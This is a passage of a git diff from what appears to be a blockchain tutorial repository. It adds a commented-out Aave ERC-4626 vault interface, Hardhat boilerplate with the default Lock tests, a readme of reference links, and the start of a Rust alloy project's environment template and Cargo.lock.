+//      * @notice A struct containing the necessary information to reconstruct an EIP-712 typed data signature.
+//      *
+//      * @param v The signature's recovery parameter.
+//      * @param r The signature's r parameter.
+//      * @param s The signature's s parameter
+//      * @param deadline The signature's deadline
+//      */
+//     struct EIP712Signature {
+//         uint8 v;
+//         bytes32 r;
+//         bytes32 s;
+//         uint256 deadline;
+//     }
+
+//     /**
+//      * @dev Emitted when the fee is updated
+//      * @param oldFee The old value of the fee
+//      * @param newFee The new value of the fee
+//      */
+//     event FeeUpdated(uint256 indexed oldFee, uint256 indexed newFee);
+
+//     /**
+//      * @dev Emitted when fees are withdrawn
+//      * @param to The recipient address where the fees are sent to
+//      * @param amount The amount of fess withdrawn, in aTokens
+//      * @param newVaultBalance The new balance of the vault, in aTokens
+//      * @param newTotalFeesAccrued The total amount of fees accrued outstanding after the withdraw, in aTokens
+//      */
+//     event FeesWithdrawn(address indexed to, uint256 indexed amount, uint256 newVaultBalance, uint256 newTotalFeesAccrued);
+
+//     /**
+//      * @dev Emitted when Aave yield is accrued
+//      * @param accruedYield The yield accrued since the last vault interaction, in aTokens
+//      * @param newFeesFromYield The amount of fees earned from the accrued yield, in aTokens
+//      * @param newVaultBalance The new balance of the vault, in aTokens
+//      */
+//     event YieldAccrued(uint256 accruedYield, uint256 newFeesFromYield, uint256 newVaultBalance);
+
+//     /**
+//      * @dev Emitted when Aave rewards are claimed
+//      * @param to The recipient address where the claimed rewards are sent to
+//      * @param rewardsList The list of rewards address that have been claimed
+//      * @param claimedAmounts The list of rewards amount that have been claimed
+//      */
+//     event RewardsClaimed(address indexed to, address[] rewardsList, uint256[] claimedAmounts);
+
+//     /**
+//      * @dev Emitted when an emergency rescue of tokens has been made
+//      * @param token The address of the token that has been rescued
+//      * @param to The recipient address where the rescued tokens are sent to
+//      * @param amount The amount of tokens rescued
+//      */
+//     event EmergencyRescue(address indexed token, address indexed to, uint256 amount);
+
+//     /**
+//      * @notice Returns the address of the Aave Pool Addresses Provider
+//      * @return The address of the Aave PoolAddressesProvider contract
+//      */
+//     function POOL_ADDRESSES_PROVIDER() external view returns (IPoolAddressesProvider);
+
+//     /**
+//      * @notice Returns the address of the Aave Pool
+//      * @return The address of the Aave Pool contract
+//      */
+//     function AAVE_POOL() external view returns (IPool);
+
+//     /**
+//      * @notice Returns the address of the AToken
+//      * @return The address of the AToken contract
+//      */
+//     function ATOKEN() external view returns (IAToken);
+
+//     /**
+//      * @notice Returns the address of the underlying asset of the vault
+//      * @return The address of the underlying asset
+//      */
+//     function UNDERLYING() external view returns (IERC20Upgradeable);
+
+//     /**
+//      * @notice Returns the referral code to use for Aave interactions
+//      * @return The Aave referral code
+//      */
+//     function REFERRAL_CODE() external view returns (uint16);
+
+//     /**
+//      * @notice Deposits a specified amount of assets into the vault, minting a corresponding amount of shares.
+//      * @dev The assets transferred in could be lesser than the passed amount due to rounding issues
+//      * @param assets The amount of underlying asset to deposit
+//      * @param receiver The address to receive the shares
+//      * @return shares The amount of shares minted to the receiver
+//      */
+//     function deposit(uint256 assets, address receiver) external override returns (uint256 shares);
+
+
+
+//     /**
+//      * @notice Mints a specified amount of shares to the receiver, depositing the corresponding amount of assets.
+//      * @param shares The amount of shares to mint
+//      * @param receiver The address to receive the shares
+//      * @return assets The amount of assets deposited by the caller
+//      */
+//     function mint(uint256 shares, address receiver) external override returns (uint256 assets);
+
+      
+//     /**
+//      * @notice Withdraws a specified amount of assets from the vault, burning the corresponding amount of shares.
+//      * @param assets The amount of assets to withdraw
+//      * @param receiver The address to receive the assets
+//      * @param owner The address from which to pull the shares for the withdrawal
+//      * @return shares The amount of shares burnt in the withdrawal process
+//      */
+//     function withdraw(uint256 assets, address receiver, address owner) external override returns (uint256 shares);
+
+   
+//     /**
+//      * @notice Burns a specified amount of shares from the vault, withdrawing the corresponding amount of assets.
+//      * @param shares The amount of shares to burn
+//      * @param receiver The address to receive the assets
+//      * @param owner The address from which to pull the shares for the withdrawal
+//      * @return assets The amount of assets withdrawn by the receiver
+//      */
+//     function redeem(uint256 shares, address receiver, address owner) external override returns (uint256 assets);
+
+   
+//     /**
+//      * @notice Returns the maximum amount of assets that can be deposited into the vault.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @return maxAssets The maximum amount of assets that can be deposited into the vault
+//      */
+//     function maxDeposit(address) external view override returns (uint256 maxAssets);
+
+//     /**
+//      * @notice Returns the maximum amount of shares that can be minted for the vault.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @return maxShares The maximum amount of shares that can be minted for the vault
+//      */
+//     function maxMint(address) external view override returns (uint256 maxShares);
+
+//     /**
+//      * @notice Returns the maximum amount of assets that can be withdrawn from the owner balance in the vault.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @return maxAssets The maximum amount of assets that can be withdrawn
+//      */
+//     function maxWithdraw(address owner) external view override returns (uint256 maxAssets);
+
+//     /**
+//      * @notice Returns the maximum amount of shares that can be redeemed from the owner balance in the vault.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @return maxShares The maximum amount of shares that can be redeemed
+//      */
+//     function maxRedeem(address owner) external view override returns (uint256 maxShares);
+
+//     /**
+//      * @notice Allows a user to simulate a deposit at the current block, given current on-chain conditions.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @param assets The amount of assets the deposit simulation uses
+//      * @return shares The amount of shares that would be minted to the receiver
+//      */
+//     function previewDeposit(uint256 assets) external view override returns (uint256 shares);
+
+//     /**
+//      * @notice Allows a user to simulate a mint at the current block, given current on-chain conditions.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @param shares The amount of shares the mint simulation uses
+//      * @return assets The amount of assets that would be deposited by the caller
+//      */
+//     function previewMint(uint256 shares) external view override returns (uint256 assets);
+
+//     /**
+//      * @notice Allows a user to simulate a withdraw at the current block, given current on-chain conditions.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @param assets The amount of assets the withdraw simulation uses
+//      * @return shares The amount of shares that would be burnt in the withdrawal process
+//      */
+//     function previewWithdraw(uint256 assets) external view override returns (uint256 shares);
+
+//     /**
+//      * @notice Allows a user to simulate a redeem at the current block, given current on-chain conditions.
+//      * @dev It takes Aave Pool limitations into consideration
+//      * @param shares The amount of shares the redeem simulation uses
+//      * @return assets The amount of assets that would be withdrawn by the receiver
+//      */
+//     function previewRedeem(uint256 shares) external view override returns (uint256 assets);
+
+//     /**
+//      * @notice Returns the domain separator for the current chain.
+//      * @return The domain separator
+//      */
+//     function domainSeparator() external view returns (bytes32);
+
+//     /**
+//      * @notice Sets the fee the vault levies on yield earned.
+//      * @dev Only callable by the owner
+//      * @param newFee The new fee to set, expressed in wad, where 1e18 is 100%
+//      */
+//     function setFee(uint256 newFee) external;
+
+//     /**
+//      * @notice Withdraws fees earned by the vault, in the form of aTokens, to a specified address.
+//      * @dev Only callable by the owner
+//      * @param to The address to receive the fees
+//      * @param amount The amount of fees to withdraw
+//      */
+//     function withdrawFees(address to, uint256 amount) external;
+
+//     /**
+//      * @notice Claims any additional Aave rewards earned from vault deposits.
+//      * @dev Only callable by the owner
+//      * @param to The address to receive any rewards tokens
+//      */
+//     function claimRewards(address to) external;
+
+//     /**
+//      * @notice Rescue any tokens other than the vault's aToken which may have accidentally been transferred to this
+//      * contract.
+//      * @dev Only callable by the owner
+//      * @param token The address of the token to rescue
+//      * @param to The address to receive rescued tokens
+//      * @param amount The amount of tokens to transfer
+//      */
+//     function emergencyRescue(address token, address to, uint256 amount) external;
+
+//     /**
+//      * @notice Returns the total assets less claimable fees.
+//      * @return totalManagedAssets The total assets less claimable fees
+//      */
+//     function totalAssets() external view override returns (uint256 totalManagedAssets);
+
+//     /**
+//      * @notice Returns the claimable fees.
+//      * @return The claimable fees
+//      */
+//     function getClaimableFees() external view returns (uint256);
+
+//     /**
+//      * @notice Returns the signing nonce for meta-transactions for the given signer.
+//      * @return The passed signer's nonce
+//      */
+//     function getSigNonce(address signer) external view returns (uint256);
+
+//     /**
+//      * @notice Returns the vault balance at the latest update timestamp.
+//      * @return The latest vault balance
+//      */
+//     function getLastVaultBalance() external view returns (uint256);
+
+//     /**
+//      * @notice Returns the current fee ratio.
+//      * @return The current fee ratio, expressed in wad, where 1e18 is 100%
+//      */
+//     function getFee() external view returns (uint256);
+// }
\ No newline at end of file
diff --git a/basic/37-erc4626/hardhat.config.js b/basic/37-erc4626/hardhat.config.js
new file mode 100644
index 000000000..8ba99bc91
--- /dev/null
+++ b/basic/37-erc4626/hardhat.config.js
@@ -0,0 +1,6 @@
+require("@nomicfoundation/hardhat-toolbox");
+
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: "0.8.24",
+};
diff --git a/basic/37-erc4626/ignition/modules/Lock.js b/basic/37-erc4626/ignition/modules/Lock.js
new file mode 100644
index 000000000..192492a36
--- /dev/null
+++ b/basic/37-erc4626/ignition/modules/Lock.js
@@ -0,0 +1,15 @@
+const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");
+
+const JAN_1ST_2030 = 1893456000;
+const ONE_GWEI = 1_000_000_000n;
+
+module.exports = buildModule("LockModule", (m) => {
+  const unlockTime = m.getParameter("unlockTime", JAN_1ST_2030);
+  const lockedAmount = m.getParameter("lockedAmount", ONE_GWEI);
+
+  const lock = m.contract("Lock", [unlockTime], {
+    value: lockedAmount,
+  });
+
+  return { lock };
+});
diff --git a/basic/37-erc4626/package.json b/basic/37-erc4626/package.json
new file mode 100644
index 000000000..8b526a2f9
--- /dev/null
+++ b/basic/37-erc4626/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@aave/core-v3": "1.19.3",
+    "@aave/periphery-v3": "2.5.2",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+    "@openzeppelin/contracts": "^5.0.1",
+    "@openzeppelin/contracts-upgradeable": "5.0.1",
+    "dotenv": "^16.0.0",
+    "hardhat": "^2.22.6"
+  }
+}
\ No newline at end of file
diff --git a/basic/37-erc4626/readme.md b/basic/37-erc4626/readme.md
new file mode 100644
index 000000000..0aae19c19
--- /dev/null
+++ b/basic/37-erc4626/readme.md
@@ -0,0 +1,16 @@
+## ERC4626
+
+
+ 官网实现：
+ https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol
+
+ 
+ 开发demo:
+ https://github.com/adamocallaghan/ERC4626_Strategy/blob/main/src/Vault.sol
+
+## 参考链接
+
+1. beefyfinance: https://github.com/beefyfinance/beefy-contracts/blob/master/contracts/BIFI/strategies/Aave/StrategyLendleUSDe.sol
+2. stable-farm: https://github.com/sskender/stable-farm/blob/master/contracts/routers/AAVERouter.sol
+3 quicknode :https://www.quicknode.com/guides/ethereum-development/smart-contracts/how-to-use-erc-4626-with-your-smart-contract
+
diff --git a/basic/37-erc4626/test/Lock.js b/basic/37-erc4626/test/Lock.js
new file mode 100644
index 000000000..f0e6ba1b2
--- /dev/null
+++ b/basic/37-erc4626/test/Lock.js
@@ -0,0 +1,126 @@
+const {
+  time,
+  loadFixture,
+} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
+const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
+const { expect } = require("chai");
+
+describe("Lock", function () {
+  // We define a fixture to reuse the same setup in every test.
+  // We use loadFixture to run this setup once, snapshot that state,
+  // and reset Hardhat Network to that snapshot in every test.
+  async function deployOneYearLockFixture() {
+    const ONE_YEAR_IN_SECS = 365 * 24 * 60 * 60;
+    const ONE_GWEI = 1_000_000_000;
+
+    const lockedAmount = ONE_GWEI;
+    const unlockTime = (await time.latest()) + ONE_YEAR_IN_SECS;
+
+    // Contracts are deployed using the first signer/account by default
+    const [owner, otherAccount] = await ethers.getSigners();
+
+    const Lock = await ethers.getContractFactory("Lock");
+    const lock = await Lock.deploy(unlockTime, { value: lockedAmount });
+
+    return { lock, unlockTime, lockedAmount, owner, otherAccount };
+  }
+
+  describe("Deployment", function () {
+    it("Should set the right unlockTime", async function () {
+      const { lock, unlockTime } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.unlockTime()).to.equal(unlockTime);
+    });
+
+    it("Should set the right owner", async function () {
+      const { lock, owner } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.owner()).to.equal(owner.address);
+    });
+
+    it("Should receive and store the funds to lock", async function () {
+      const { lock, lockedAmount } = await loadFixture(
+        deployOneYearLockFixture
+      );
+
+      expect(await ethers.provider.getBalance(lock.target)).to.equal(
+        lockedAmount
+      );
+    });
+
+    it("Should fail if the unlockTime is not in the future", async function () {
+      // We don't use the fixture here because we want a different deployment
+      const latestTime = await time.latest();
+      const Lock = await ethers.getContractFactory("Lock");
+      await expect(Lock.deploy(latestTime, { value: 1 })).to.be.revertedWith(
+        "Unlock time should be in the future"
+      );
+    });
+  });
+
+  describe("Withdrawals", function () {
+    describe("Validations", function () {
+      it("Should revert with the right error if called too soon", async function () {
+        const { lock } = await loadFixture(deployOneYearLockFixture);
+
+        await expect(lock.withdraw()).to.be.revertedWith(
+          "You can't withdraw yet"
+        );
+      });
+
+      it("Should revert with the right error if called from another account", async function () {
+        const { lock, unlockTime, otherAccount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // We can increase the time in Hardhat Network
+        await time.increaseTo(unlockTime);
+
+        // We use lock.connect() to send a transaction from another account
+        await expect(lock.connect(otherAccount).withdraw()).to.be.revertedWith(
+          "You aren't the owner"
+        );
+      });
+
+      it("Shouldn't fail if the unlockTime has arrived and the owner calls it", async function () {
+        const { lock, unlockTime } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // Transactions are sent using the first signer by default
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).not.to.be.reverted;
+      });
+    });
+
+    describe("Events", function () {
+      it("Should emit an event on withdrawals", async function () {
+        const { lock, unlockTime, lockedAmount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw())
+          .to.emit(lock, "Withdrawal")
+          .withArgs(lockedAmount, anyValue); // We accept any value as `when` arg
+      });
+    });
+
+    describe("Transfers", function () {
+      it("Should transfer the funds to the owner", async function () {
+        const { lock, unlockTime, lockedAmount, owner } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).to.changeEtherBalances(
+          [owner, lock],
+          [lockedAmount, -lockedAmount]
+        );
+      });
+    });
+  });
+});
diff --git a/basic/38-alloy-rust/.env.example b/basic/38-alloy-rust/.env.example
new file mode 100644
index 000000000..e5222d855
--- /dev/null
+++ b/basic/38-alloy-rust/.env.example
@@ -0,0 +1,4 @@
+RUST_LOG=info
+
+RPC_LOCAL=http://127.0.0.1:8545
+DEV_PRIVATE_KEY=
\ No newline at end of file
diff --git a/basic/38-alloy-rust/.gitignore b/basic/38-alloy-rust/.gitignore
new file mode 100644
index 000000000..0d95126b4
--- /dev/null
+++ b/basic/38-alloy-rust/.gitignore
@@ -0,0 +1,2 @@
+.env
+target
\ No newline at end of file
diff --git a/basic/38-alloy-rust/Cargo.lock b/basic/38-alloy-rust/Cargo.lock
new file mode 100644
index 000000000..72b2ccfb4
--- /dev/null
+++ b/basic/38-alloy-rust/Cargo.lock
@@ -0,0 +1,4405 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 4
+
+[[package]]
+name = "addr2line"
+version = "0.22.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6e4503c46a5c0c7844e948c9a4d6acd9f50cccb4de1c48eb9e291ea17470c678"
+dependencies = [
+ "gimli",
+]
+
+[[package]]
+name = "adler"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+
+[[package]]
+name = "aho-corasick"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "allocator-api2"
+version = "0.2.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f"
+
+[[package]]
+name = "alloy"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3287a60462d933cbc753a1a87439016d4eb717401f3052ff72742c6dd0dbce3f"
+dependencies = [
+ "alloy-consensus",
+ "alloy-contract",
+ "alloy-core",
+ "alloy-eips",
+ "alloy-genesis",
+ "alloy-network",
+ "alloy-provider",
+ "alloy-pubsub",
+ "alloy-rpc-client",
+ "alloy-rpc-types",
+ "alloy-serde",
+ "alloy-signer",
+ "alloy-signer-local",
+ "alloy-transport",
+ "alloy-transport-http",
+ "alloy-transport-ipc",
+ "alloy-transport-ws",
+]
+
+[[package]]
+name = "alloy-chains"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7734aecfc58a597dde036e4c5cace2ae43e2f8bf3d406b022a1ef34da178dd49"
+dependencies = [
+ "alloy-primitives",
+ "num_enum",
+ "strum",
+]
+
+[[package]]
+name = "alloy-consensus"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94ee204a7795e56b8e78013f5824d6ea6e4da457a4aaf6c72e4800c4d4987fce"
+dependencies = [
+ "alloy-eips",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-serde",
+ "alloy-trie",
+ "auto_impl",
+ "c-kzg",
+ "derive_more",
+ "either",
+ "k256",
+ "once_cell",
+ "rand 0.8.5",
+ "serde",
+ "serde_with",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-consensus-any"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a16df75c656be4465ab411b88c5ec6bae4931ce806834efbf375ca85b8db6f9a"
+dependencies = [
+ "alloy-consensus",
+ "alloy-eips",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-serde",
+ "serde",
+]
+
+[[package]]
+name = "alloy-contract"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "258feff52f1e3be58b4d235ef85f5c0224905e371fb023dfbf758d5a7e027672"
+dependencies = [
+ "alloy-consensus",
+ "alloy-dyn-abi",
+ "alloy-json-abi",
+ "alloy-network",
+ "alloy-network-primitives",
+ "alloy-primitives",
+ "alloy-provider",
+ "alloy-pubsub",
+ "alloy-rpc-types-eth",
+ "alloy-sol-types",
+ "alloy-transport",
+ "futures",
+ "futures-util",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-core"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9d020a85ae8cf79b9c897a86d617357817bbc9a7d159dd7e6fedf1bc90f64d35"
+dependencies = [
+ "alloy-dyn-abi",
+ "alloy-json-abi",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-sol-types",
+]
+
+[[package]]
+name = "alloy-dyn-abi"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "884a5d4560f7e5e34ec3c5e54a60223c56352677dd049b495fbb59384cf72a90"
+dependencies = [
+ "alloy-json-abi",
+ "alloy-primitives",
+ "alloy-sol-type-parser",
+ "alloy-sol-types",
+ "const-hex",
+ "itoa",
+ "serde",
+ "serde_json",
+ "winnow 0.7.7",
+]
+
+[[package]]
+name = "alloy-eip2124"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "741bdd7499908b3aa0b159bba11e71c8cddd009a2c2eb7a06e825f1ec87900a5"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rlp",
+ "crc",
+ "serde",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-eip2930"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dbe3e16484669964c26ac48390245d84c410b1a5f968976076c17184725ef235"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rlp",
+ "serde",
+]
+
+[[package]]
+name = "alloy-eip7702"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "804cefe429015b4244966c006d25bda5545fa9db5990e9c9079faf255052f50a"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rlp",
+ "k256",
+ "serde",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-eips"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd8ce6197b2cc38968c80c676372f383ed46051fb8600a421b5259f3f2d13a15"
+dependencies = [
+ "alloy-eip2124",
+ "alloy-eip2930",
+ "alloy-eip7702",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-serde",
+ "auto_impl",
+ "c-kzg",
+ "derive_more",
+ "either",
+ "serde",
+ "sha2",
+]
+
+[[package]]
+name = "alloy-genesis"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bc13f76f34587a9d5efd1d141dd6a596983be715922ccc488209e58dc643ec65"
+dependencies = [
+ "alloy-eips",
+ "alloy-primitives",
+ "alloy-serde",
+ "alloy-trie",
+ "serde",
+]
+
+[[package]]
+name = "alloy-json-abi"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5189fa9a8797e92396bc4b4454c5f2073a4945f7c2b366af9af60f9536558f7a"
+dependencies = [
+ "alloy-primitives",
+ "alloy-sol-type-parser",
+ "serde",
+ "serde_json",
+]
+
+[[package]]
+name = "alloy-json-rpc"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3593ce03c82601517eee458f67bb5dc642b9baff7016063f03a4ccbcfb52a387"
+dependencies = [
+ "alloy-primitives",
+ "alloy-sol-types",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+ "tracing",
+]
+
+[[package]]
+name = "alloy-network"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "36be8015a205bf2e6784b0367c0f29e87f901f5f9b80b0a9bb4e1411c65242fd"
+dependencies = [
+ "alloy-consensus",
+ "alloy-consensus-any",
+ "alloy-eips",
+ "alloy-json-rpc",
+ "alloy-network-primitives",
+ "alloy-primitives",
+ "alloy-rpc-types-any",
+ "alloy-rpc-types-eth",
+ "alloy-serde",
+ "alloy-signer",
+ "alloy-sol-types",
+ "async-trait",
+ "auto_impl",
+ "derive_more",
+ "futures-utils-wasm",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-network-primitives"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3449fdd0908f50fb68eef8c43201d73d4ff51882b36e2adaadab277a7539ce4f"
+dependencies = [
+ "alloy-consensus",
+ "alloy-eips",
+ "alloy-primitives",
+ "alloy-serde",
+ "serde",
+]
+
+[[package]]
+name = "alloy-primitives"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70b98b99c1dcfbe74d7f0b31433ff215e7d1555e367d90e62db904f3c9d4ff53"
+dependencies = [
+ "alloy-rlp",
+ "bytes",
+ "cfg-if",
+ "const-hex",
+ "derive_more",
+ "foldhash",
+ "hashbrown 0.15.2",
+ "indexmap 2.9.0",
+ "itoa",
+ "k256",
+ "keccak-asm",
+ "paste",
+ "proptest",
+ "rand 0.9.1",
+ "ruint",
+ "rustc-hash",
+ "serde",
+ "sha3",
+ "tiny-keccak",
+]
+
+[[package]]
+name = "alloy-provider"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "16db7e6c225828a4540b1cce6047f06777c057df58386db9641827a2d1afb4f5"
+dependencies = [
+ "alloy-chains",
+ "alloy-consensus",
+ "alloy-eips",
+ "alloy-json-rpc",
+ "alloy-network",
+ "alloy-network-primitives",
+ "alloy-primitives",
+ "alloy-pubsub",
+ "alloy-rpc-client",
+ "alloy-rpc-types-anvil",
+ "alloy-rpc-types-debug",
+ "alloy-rpc-types-eth",
+ "alloy-rpc-types-trace",
+ "alloy-rpc-types-txpool",
+ "alloy-signer",
+ "alloy-sol-types",
+ "alloy-transport",
+ "alloy-transport-http",
+ "alloy-transport-ipc",
+ "alloy-transport-ws",
+ "async-stream",
+ "async-trait",
+ "auto_impl",
+ "dashmap",
+ "either",
+ "futures",
+ "futures-utils-wasm",
+ "lru",
+ "parking_lot",
+ "pin-project",
+ "reqwest",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+ "tokio",
+ "tracing",
+ "url",
+ "wasmtimer",
+]
+
+[[package]]
+name = "alloy-pubsub"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2fbf7f3b22f7d34eb9aedf637bcdc5d4f47f5e028d3f7520f6ecc7fc75a7a027"
+dependencies = [
+ "alloy-json-rpc",
+ "alloy-primitives",
+ "alloy-transport",
+ "bimap",
+ "futures",
+ "parking_lot",
+ "serde",
+ "serde_json",
+ "tokio",
+ "tokio-stream",
+ "tower 0.5.2",
+ "tracing",
+ "wasmtimer",
+]
+
+[[package]]
+name = "alloy-rlp"
+version = "0.3.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d6c1d995bff8d011f7cd6c81820d51825e6e06d6db73914c1630ecf544d83d6"
+dependencies = [
+ "alloy-rlp-derive",
+ "arrayvec",
+ "bytes",
+]
+
+[[package]]
+name = "alloy-rlp-derive"
+version = "0.3.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a40e1ef334153322fd878d07e86af7a529bcb86b2439525920a88eba87bcf943"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "alloy-rpc-client"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "821fca097f02720cd2a53e785776e265f36288f8210aa9177c9de05e2c2724c3"
+dependencies = [
+ "alloy-json-rpc",
+ "alloy-primitives",
+ "alloy-pubsub",
+ "alloy-transport",
+ "alloy-transport-http",
+ "alloy-transport-ipc",
+ "alloy-transport-ws",
+ "async-stream",
+ "futures",
+ "pin-project",
+ "reqwest",
+ "serde",
+ "serde_json",
+ "tokio",
+ "tokio-stream",
+ "tower 0.5.2",
+ "tracing",
+ "tracing-futures",
+ "url",
+ "wasmtimer",
+]
+
+[[package]]
+name = "alloy-rpc-types"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "30890a9856721a376e989283a17b2698acc3e1a612415abbca980aa4d29d7367"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rpc-types-anvil",
+ "alloy-rpc-types-engine",
+ "alloy-rpc-types-eth",
+ "alloy-rpc-types-trace",
+ "alloy-rpc-types-txpool",
+ "alloy-serde",
+ "serde",
+]
+
+[[package]]
+name = "alloy-rpc-types-anvil"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8702ccf7d241cb52fc6730561f7429c15158dacffe68c9127d2ab79d1657b862"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rpc-types-eth",
+ "alloy-serde",
+ "serde",
+]
+
+[[package]]
+name = "alloy-rpc-types-any"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "93017fb350fe2c0cccda41f9be45352012696a5fbd08c5fef4be0df838999bfa"
+dependencies = [
+ "alloy-consensus-any",
+ "alloy-rpc-types-eth",
+ "alloy-serde",
+]
+
+[[package]]
+name = "alloy-rpc-types-debug"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0b7976ba2e770e085389c8f9ffa81812700254c36e5cc35bca496e9491d1e3"
+dependencies = [
+ "alloy-primitives",
+ "serde",
+]
+
+[[package]]
+name = "alloy-rpc-types-engine"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4f09bac3a6651e3e9e292e946a1fc393128aa1a572254e2ff641e9911f024f61"
+dependencies = [
+ "alloy-consensus",
+ "alloy-eips",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-serde",
+ "derive_more",
+ "rand 0.8.5",
+ "serde",
+ "strum",
+]
+
+[[package]]
+name = "alloy-rpc-types-eth"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9f96bc409dee49f68d70bf1303c3b34d7153e185dda75caa8b72919a28cd6ac"
+dependencies = [
+ "alloy-consensus",
+ "alloy-consensus-any",
+ "alloy-eips",
+ "alloy-network-primitives",
+ "alloy-primitives",
+ "alloy-rlp",
+ "alloy-serde",
+ "alloy-sol-types",
+ "itertools 0.13.0",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-rpc-types-trace"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1c24a733a999bbfa706d03f54332ad03697e745ed27c25bdeebac39586f184d8"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rpc-types-eth",
+ "alloy-serde",
+ "serde",
+ "serde_json",
+ "thiserror 2.0.12",
+]
+
+[[package]]
+name = "alloy-rpc-types-txpool"
+version = "0.15.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac6d62259b6e1469042a21807d5f24002a7a0f30f69e945ded82ed6009fd1e50"
+dependencies = [
+ "alloy-primitives",
+ "alloy-rpc-types-eth",
+ "alloy-serde",
+ "serde",
+]
+
+[[package]]
+name = "alloy-rust"
